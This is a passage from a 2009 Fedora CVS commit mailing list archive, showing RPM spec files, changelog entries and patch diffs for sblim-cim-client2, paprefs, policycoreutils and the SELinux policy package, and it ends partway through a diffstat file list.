%config(noreplace) %{_sysconfdir}/java/sblim-cim-client2.properties
%config(noreplace) %{_sysconfdir}/java/sblim-slp-client2.properties
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/README
%doc %{_docdir}/%{name}-%{version}/ChangeLog
%doc %{_docdir}/%{name}-%{version}/NEWS
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar

%files javadoc
%defattr(0644,root,root,0755)
%{_javadocdir}/%{name}-%{version}

%files manual
%defattr(0644,root,root,0755)
# %doc %{_docdir}/%{name}-%{version}/README.samples
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/org


%changelog
* Tue Oct  6 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.0.9.2-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client2/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:57:26 -0000	1.1
+++ sources	14 Oct 2009 14:06:22 -0000	1.2
@@ -0,0 +1 @@
+bdde87b00844f3696caebc8594989ae7  sblim-cim-client2-2.0.9.2-src.zip



From vcrhonek at fedoraproject.org  Wed Oct 14 14:17:54 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed, 14 Oct 2009 14:17:54 +0000 (UTC)
Subject: rpms/sblim-cim-client2/EL-4 sblim-cim-client2.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091014141754.B20C011C00E5@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client2/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20494

Modified Files:
	sources 
Added Files:
	sblim-cim-client2.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cim-client2.spec ---

%define project_folder %{name}-%{version}-src
%define archive_folder build

Name:           sblim-cim-client2
Version:        2.0.9.2
Release:        1%{?dist}
Summary:        Java CIM Client library

Group:          Development/Libraries
License:        EPL
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/sblim-cim-client2/2.0.9.2/%{name}-%{version}-src.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch

BuildRequires:  java-devel >= 1.4
BuildRequires:  jpackage-utils >= 0:1.5.32
BuildRequires:  ant >= 0:1.6

Requires:       java >= 1.4
Requires:       jpackage-utils >= 0:1.5.32

%description
The purpose of this package is to provide a CIM Client Class Library for Java
applications. It complies to the DMTF standard CIM Operations over HTTP and
intends to be compatible with JCP JSR48 once it becomes available. To learn
more about DMTF visit http://www.dmtf.org.
More infos about the Java Community Process and JSR48 can be found at
http://www.jcp.org and http://www.jcp.org/en/jsr/detail?id=48.

%package javadoc
Summary:        Javadoc for %{name}
Group:          Documentation
Requires:       sblim-cim-client2 = %{version}-%{release}

%description javadoc
Javadoc for %{name}.

%package manual
Summary:        Manual and sample code for %{name}
Group:          Documentation
Requires:       sblim-cim-client2 = %{version}-%{release}

%description manual
Manual and sample code for %{name}.


%prep
%setup -q -n %{project_folder}

dos2unixConversion() {
        fileName=$1
        %{__sed} -i 's/\r//g' "$fileName"
}

dosFiles2unix() {
        fileList=$1
        for fileName in $fileList; do
                dos2unixConversion $fileName
        done
}

dosFiles2unix 'ChangeLog NEWS README COPYING sblim-cim-client2.properties sblim-slp-client2.properties'
dosFiles2unix 'smpl/org/sblim/slp/example/*'
dosFiles2unix 'smpl/org/sblim/cimclient/samples/*'

%build
export ANT_OPTS="-Xmx256m"
ant \
        -Dbuild.compiler=modern \
        -DManifest.version=%{version}\
        package java-doc


%install
rm -rf $RPM_BUILD_ROOT
# --- documentation ---
dstDocDir=$RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -d $dstDocDir
install --mode=644 ChangeLog COPYING README NEWS $dstDocDir
# --- samples (also into _docdir) ---
cp -pr  smpl/org $dstDocDir
# --- config files ---
confDir=$RPM_BUILD_ROOT%{_sysconfdir}/java
install -d $confDir
install --mode=664 sblim-cim-client2.properties sblim-slp-client2.properties $confDir
# --- jar ---
install -d $RPM_BUILD_ROOT%{_javadir}
install %{archive_folder}/lib/%{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{name}-%{version}.jar %{name}.jar;
)
# --- javadoc ---
install -d $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
cp -pr %{archive_folder}/doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(0644,root,root,0755)
%dir %{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/java/sblim-cim-client2.properties
%config(noreplace) %{_sysconfdir}/java/sblim-slp-client2.properties
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/README
%doc %{_docdir}/%{name}-%{version}/ChangeLog
%doc %{_docdir}/%{name}-%{version}/NEWS
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar

%files javadoc
%defattr(0644,root,root,0755)
%{_javadocdir}/%{name}-%{version}

%files manual
%defattr(0644,root,root,0755)
# %doc %{_docdir}/%{name}-%{version}/README.samples
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/org


%changelog
* Tue Oct  6 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.0.9.2-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client2/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:57:26 -0000	1.1
+++ sources	14 Oct 2009 14:17:54 -0000	1.2
@@ -0,0 +1 @@
+bdde87b00844f3696caebc8594989ae7  sblim-cim-client2-2.0.9.2-src.zip



From lennart at fedoraproject.org  Wed Oct 14 14:32:36 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Wed, 14 Oct 2009 14:32:36 +0000 (UTC)
Subject: rpms/paprefs/F-12 paprefs.spec,1.18,1.19
Message-ID: <20091014143236.7648411C00E5@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/paprefs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24235

Modified Files:
	paprefs.spec 
Log Message:
rebuild


Index: paprefs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/paprefs/F-12/paprefs.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- paprefs.spec	10 Sep 2009 01:58:47 -0000	1.18
+++ paprefs.spec	14 Oct 2009 14:32:36 -0000	1.19
@@ -1,6 +1,6 @@
 Name:           paprefs
 Version:        0.9.9
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Management tool for PulseAudio
 Group:          Applications/Multimedia
 License:        GPLv2+
@@ -52,6 +52,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/paprefs.desktop
 
 %changelog
+* Wed Oct 14 2009 Lennart Poettering <lpoetter at redhat.com> 0.9.9-3
+- Rebuild to make sure we look for /usr/lib/pulse-0.9.19/modules/xxx instead of /usr/lib/pulse-0.9.16/modules/xxx
+
 * Thu Sep 10 2009 Lennart Poettering <lpoetter at redhat.com> 0.9.9-2
 - Final 0.9.9 release
 



From lennart at fedoraproject.org  Wed Oct 14 14:35:36 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Wed, 14 Oct 2009 14:35:36 +0000 (UTC)
Subject: rpms/paprefs/F-12 paprefs.spec,1.19,1.20
Message-ID: <20091014143536.58F1D11C00E5@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/paprefs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25192

Modified Files:
	paprefs.spec 
Log Message:
fix mistag


Index: paprefs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/paprefs/F-12/paprefs.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- paprefs.spec	14 Oct 2009 14:32:36 -0000	1.19
+++ paprefs.spec	14 Oct 2009 14:35:35 -0000	1.20
@@ -1,6 +1,6 @@
 Name:           paprefs
 Version:        0.9.9
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Management tool for PulseAudio
 Group:          Applications/Multimedia
 License:        GPLv2+
@@ -52,6 +52,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/paprefs.desktop
 
 %changelog
+* Wed Oct 14 2009 Lennart Poettering <lpoetter at redhat.com> 0.9.9-4
+- Fix mistag
+
 * Wed Oct 14 2009 Lennart Poettering <lpoetter at redhat.com> 0.9.9-3
 - Rebuild to make sure we look for /usr/lib/pulse-0.9.19/modules/xxx instead of /usr/lib/pulse-0.9.16/modules/xxx
 



From dwalsh at fedoraproject.org  Wed Oct 14 14:47:52 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Wed, 14 Oct 2009 14:47:52 +0000 (UTC)
Subject: rpms/policycoreutils/devel policycoreutils-rhat.patch, 1.449,
	1.450 policycoreutils.spec, 1.650, 1.651
Message-ID: <20091014144752.067A211C00E5@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26783

Modified Files:
	policycoreutils-rhat.patch policycoreutils.spec 
Log Message:
* Wed Oct 14 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-9
- Move fixfiles man pages into the correct package
- Add genhomedircon to fixfiles restore


policycoreutils-rhat.patch:
 Makefile                                    |    2 
 audit2allow/audit2allow                     |   14 
 load_policy/Makefile                        |    5 
 restorecond/Makefile                        |   24 -
 restorecond/org.selinux.Restorecond.service |    3 
 restorecond/restorecond                     |binary
 restorecond/restorecond.c                   |  422 +++---------------
 restorecond/restorecond.conf                |    5 
 restorecond/restorecond.desktop             |    7 
 restorecond/restorecond.h                   |   18 
 restorecond/restorecond.init                |    5 
 restorecond/restorecond.o                   |binary
 restorecond/restorecond_user.conf           |    2 
 restorecond/stringslist.o                   |binary
 restorecond/user.c                          |  237 ++++++++++
 restorecond/user.o                          |binary
 restorecond/utmpwatcher.o                   |binary
 restorecond/watch.c                         |  253 +++++++++++
 restorecond/watch.o                         |binary
 sandbox/Makefile                            |   31 +
 sandbox/deliverables/README                 |   32 +
 sandbox/deliverables/basicwrapper           |    4 
 sandbox/deliverables/run-in-sandbox.py      |   49 ++
 sandbox/deliverables/sandbox                |  216 +++++++++
 sandbox/sandbox                             |  242 ++++++++++
 sandbox/sandbox.8                           |   26 +
 sandbox/sandboxX.sh                         |   16 
 sandbox/seunshare.c                         |  265 +++++++++++
 scripts/Makefile                            |    2 
 scripts/chcat                               |    2 
 scripts/fixfiles                            |    1 
 semanage/semanage                           |   99 ++--
 semanage/seobject.py                        |  209 +++++----
 semodule/semodule.8                         |    6 
 semodule/semodule.c                         |   53 ++
 setfiles/Makefile                           |    2 
 setfiles/restore.c                          |  519 ++++++++++++++++++++++
 setfiles/restore.h                          |   49 ++
 setfiles/restore.o                          |binary
 setfiles/setfiles.c                         |  643 +++-------------------------
 40 files changed, 2399 insertions(+), 1064 deletions(-)

Index: policycoreutils-rhat.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils-rhat.patch,v
retrieving revision 1.449
retrieving revision 1.450
diff -u -p -r1.449 -r1.450
--- policycoreutils-rhat.patch	6 Oct 2009 16:09:52 -0000	1.449
+++ policycoreutils-rhat.patch	14 Oct 2009 14:47:50 -0000	1.450
@@ -124,6 +124,7 @@ diff --exclude-from=exclude --exclude=se
 +[D-BUS Service]
 +Name=org.selinux.Restorecond
 +Exec=/usr/sbin/restorecond -u
+Binary files nsapolicycoreutils/restorecond/restorecond and policycoreutils-2.0.74/restorecond/restorecond differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond.c policycoreutils-2.0.74/restorecond/restorecond.c
 --- nsapolicycoreutils/restorecond/restorecond.c	2009-08-20 15:49:21.000000000 -0400
 +++ policycoreutils-2.0.74/restorecond/restorecond.c	2009-09-24 22:59:01.000000000 -0400
@@ -690,12 +691,14 @@ diff --exclude-from=exclude --exclude=se
  
  exit $RETVAL
 -
+Binary files nsapolicycoreutils/restorecond/restorecond.o and policycoreutils-2.0.74/restorecond/restorecond.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond_user.conf policycoreutils-2.0.74/restorecond/restorecond_user.conf
 --- nsapolicycoreutils/restorecond/restorecond_user.conf	1969-12-31 19:00:00.000000000 -0500
 +++ policycoreutils-2.0.74/restorecond/restorecond_user.conf	2009-09-20 21:26:36.000000000 -0400
 @@ -0,0 +1,2 @@
 +~/*
 +~/public_html/*
+Binary files nsapolicycoreutils/restorecond/stringslist.o and policycoreutils-2.0.74/restorecond/stringslist.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/user.c policycoreutils-2.0.74/restorecond/user.c
 --- nsapolicycoreutils/restorecond/user.c	1969-12-31 19:00:00.000000000 -0500
 +++ policycoreutils-2.0.74/restorecond/user.c	2009-09-20 21:26:36.000000000 -0400
@@ -937,6 +940,8 @@ diff --exclude-from=exclude --exclude=se
 +    return 0;
 +}
 +
+Binary files nsapolicycoreutils/restorecond/user.o and policycoreutils-2.0.74/restorecond/user.o differ
+Binary files nsapolicycoreutils/restorecond/utmpwatcher.o and policycoreutils-2.0.74/restorecond/utmpwatcher.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/watch.c policycoreutils-2.0.74/restorecond/watch.c
 --- nsapolicycoreutils/restorecond/watch.c	1969-12-31 19:00:00.000000000 -0500
 +++ policycoreutils-2.0.74/restorecond/watch.c	2009-10-06 12:06:56.000000000 -0400
@@ -1194,6 +1199,7 @@ diff --exclude-from=exclude --exclude=se
 +		exitApp("Error watching config file.");
 +}
 +
+Binary files nsapolicycoreutils/restorecond/watch.o and policycoreutils-2.0.74/restorecond/watch.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/basicwrapper policycoreutils-2.0.74/sandbox/deliverables/basicwrapper
 --- nsapolicycoreutils/sandbox/deliverables/basicwrapper	1969-12-31 19:00:00.000000000 -0500
 +++ policycoreutils-2.0.74/sandbox/deliverables/basicwrapper	2009-08-14 10:53:53.000000000 -0400
@@ -2123,6 +2129,17 @@ diff --exclude-from=exclude --exclude=se
      
      sys.exit(errors)
      
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/scripts/fixfiles policycoreutils-2.0.74/scripts/fixfiles
+--- nsapolicycoreutils/scripts/fixfiles	2009-08-05 15:10:56.000000000 -0400
++++ policycoreutils-2.0.74/scripts/fixfiles	2009-10-14 08:51:36.000000000 -0400
+@@ -136,6 +136,7 @@
+     fi
+     return
+ fi
++[ -x /usr/sbin/genhomedircon ] && /usr/sbin/genhomedircon
+ LogReadOnly
+ ${SETFILES} -q ${OUTFILES} ${SYSLOGFLAG} ${FORCEFLAG} $* ${FC} ${FILESYSTEMSRW} 2>&1 >> $LOGFILE
+ rm -rf /tmp/gconfd-* /tmp/pulse-* /tmp/orbit-*
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/scripts/Makefile policycoreutils-2.0.74/scripts/Makefile
 --- nsapolicycoreutils/scripts/Makefile	2008-08-28 09:34:24.000000000 -0400
 +++ policycoreutils-2.0.74/scripts/Makefile	2009-09-20 21:26:36.000000000 -0400
@@ -3388,6 +3405,7 @@ diff --exclude-from=exclude --exclude=se
 +int process_one(char *name, int recurse);
 +
 +#endif
+Binary files nsapolicycoreutils/setfiles/restore.o and policycoreutils-2.0.74/setfiles/restore.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/setfiles/setfiles.c policycoreutils-2.0.74/setfiles/setfiles.c
 --- nsapolicycoreutils/setfiles/setfiles.c	2009-09-17 08:59:43.000000000 -0400
 +++ policycoreutils-2.0.74/setfiles/setfiles.c	2009-09-20 21:26:36.000000000 -0400


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils.spec,v
retrieving revision 1.650
retrieving revision 1.651
diff -u -p -r1.650 -r1.651
--- policycoreutils.spec	6 Oct 2009 16:09:53 -0000	1.650
+++ policycoreutils.spec	14 Oct 2009 14:47:51 -0000	1.651
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.74
-Release: 8%{?dist}
+Release: 9%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -133,8 +133,6 @@ The policycoreutils-python package conta
 %{_mandir}/ru/man8/chcat.8*
 %{_mandir}/man8/semanage.8*
 %{_mandir}/ru/man8/semanage.8*
-%{_mandir}/man8/fixfiles.8*
-%{_mandir}/ru/man8/fixfiles.8*
 
 %post python
 [ -f /usr/share/selinux/devel/include/build.conf ] && /usr/bin/sepolgen-ifgen 
@@ -249,6 +247,8 @@ rm -rf %{buildroot}
 %{_sysconfdir}/xdg/autostart/restorecond.desktop
 %{_datadir}/dbus-1/services/org.selinux.Restorecond.service
 # selinux-policy Requires: policycoreutils, so we own this set of directories and our files within them
+%{_mandir}/man8/fixfiles.8*
+%{_mandir}/ru/man8/fixfiles.8*
 %{_mandir}/man8/load_policy.8*
 %{_mandir}/ru/man8/load_policy.8*
 %{_mandir}/man8/open_init_pty.8*
@@ -296,6 +296,10 @@ fi
 exit 0
 
 %changelog
+* Wed Oct 14 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-9
+- Move fixfiles man pages into the correct package
+- Add genhomedircon to fixfiles restore
+
 * Thu Oct 6 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-8
 - Add check to sandbox to verify save changes - Chris Pardy
 - Fix memory leak in restorecond - Steve Grubb



From dwalsh at fedoraproject.org  Wed Oct 14 14:48:38 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Wed, 14 Oct 2009 14:48:38 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 booleans-targeted.conf, 1.54,
	1.55 policy-F12.patch, 1.108, 1.109
Message-ID: <20091014144838.D161711C00E5@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27007

Modified Files:
	booleans-targeted.conf policy-F12.patch 
Log Message:
* Tue Oct 13 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-26
- Fix labeling for privoxy config files



Index: booleans-targeted.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/booleans-targeted.conf,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- booleans-targeted.conf	25 Sep 2009 18:47:06 -0000	1.54
+++ booleans-targeted.conf	14 Oct 2009 14:48:38 -0000	1.55
@@ -254,3 +254,8 @@ init_upstart = true
 # Allow mount to mount any file/dir
 # 
 allow_mount_anyfile = true
+
+# Allow confined domains to communicate with ncsd via shared memory
+# 
+nscd_use_shm = true
+

policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   31 
 policy/modules/apps/execmem.if            |   74 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   13 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  183 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   28 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   34 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  410 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   36 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   40 
 policy/modules/services/abrt.te           |   21 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  439 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   19 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   35 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   11 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    7 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   92 +
 policy/modules/services/policykit.fc      |    5 
